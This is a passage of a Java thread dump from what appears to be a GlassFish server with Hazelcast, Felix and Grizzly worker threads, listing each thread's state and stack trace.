java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-3" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.partition-operation.thread-1" #73 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.11/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.11/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) + +"EventAdminAsyncThread #10" #181 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #156 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1901509b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"DestroyJavaVM" #166 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"hz.blissful_keller.generic-operation.thread-1" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@21cc1f54 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Executor-Service-6" #143 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1d0f042f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.cached.thread-5" #117 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@64c6c605 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"RMI TCP Connection(idle)" #189 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@513cb5e5 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hk2-asyncrunlevelcontext" #45 daemon [WAITING] on java.util.TaskQueue@4f5c9f60 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #148 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic.run(ContainerBase.java:1831) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.TcpServer.thread-1" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@29d4ea14 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1170) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Gogo shell" #182 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1946d638 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.IO.thread-in-2" #106 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Executor-Service-8" #145 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1d0f042f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-4" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Common-Cleaner" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3973521a + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"Logging output pump" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@519f3780 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:154) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:132) + +"hz.blissful_keller.IO.thread-out-2" #109 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.blissful_keller.event-4" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e5eb1d0 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.blissful_keller.TcpServer.thread-2" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@29d4ea14 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #1" #169 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.cached.thread-4" #116 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@64c6c605 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.blissful_keller.generic-operation.thread-3" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@21cc1f54 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"EventAdminAsyncThread #5" #174 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-9" #153 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1d0f042f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.operation-parker" #95 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43f65506 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.DelayQueue.poll(DelayQueue.java:291) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.doRun(OperationParkerImpl.java:228) + at 